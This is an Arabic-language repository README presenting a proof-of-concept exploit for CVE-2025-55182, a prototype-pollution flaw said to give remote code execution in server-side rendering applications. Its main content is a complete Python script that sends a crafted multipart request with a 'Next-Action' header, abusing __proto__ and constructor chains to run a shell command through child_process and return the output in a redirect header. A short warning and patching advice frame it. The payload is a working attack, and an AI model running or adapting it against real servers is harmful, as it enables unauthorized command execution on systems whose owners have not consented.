
إثبات المفهوم لاستغلال CVE-2025-55182، يوضح تلوث النموذج الأولي المؤدي إلى تنفيذ التعليمات البرمجية عن بُعد في تطبيقات التقديم من جانب الخادم. يتضمن نص استغلال بايثون وتوصيات أمنية.
يحتوي هذا المستودع على إثبات المفهوم (PoC) للثغرة CVE-2025-55182، وهي ثغرة تتعلق بـ تلوث النموذج الأولي مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) في بعض تطبيقات التقديم من جانب الخادم.
⚠️ تحذير: إثبات المفهوم هذا مخصص فقط للأغراض التعليمية والبحثية واختبار الأمان المصرح به في البيئات الشخصية أو الخاضعة للرقابة. الاستخدام غير المصرح به على أنظمة دون إذن غير قانوني.
تحدث الثغرة عندما يتم حقن إدخال مستخدم غير مُتحقق منه في هياكل كائنات JavaScript الداخلية (تلوث النموذج الأولي). وعندما يتم دمج ذلك مع تدفقات تنفيذ محددة، يمكن أن يؤدي إلى تنفيذ تعليمات برمجية عشوائية.
في إثبات المفهوم هذا، يتم استخدام الخصائص المتسلسلة مثل __proto__ و constructor لتصعيد التلوث إلى سياق تنفيذ.
فيما يلي ملف exploit.py يوضح كيف يمكن استغلال الثغرة:
import requests
import json
url = "http://localhost:3000"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
}
prefix = "var res=process.mainModule.require('child_process').execSync('id').toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
files = {
"0": (
None,
json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix,
"_formData": {"get": "$1:constructor:constructor"}
}
}),
"application/json",
),
"1": (None, "\"$@0\""),
}
response = requests.post(url, headers=headers, files=files)
print("Headers:", response.headers.get('x-action-redirect'))
python3 exploit.py
تأكد من تشغيل هذا ضد بيئة محلية أو تطويرية فقط.
إذا كانت هذه الثغرة تؤثر على مشروع حقيقي، تحقق من أحدث التصحيحات الأمنية الصادرة عن المطورين وقم بتثبيتها.
npm audit بانتظام وقم بتطبيق npm audit fix للحفاظ على أمان التبعياتchild_process في الإنتاجرخصة MIT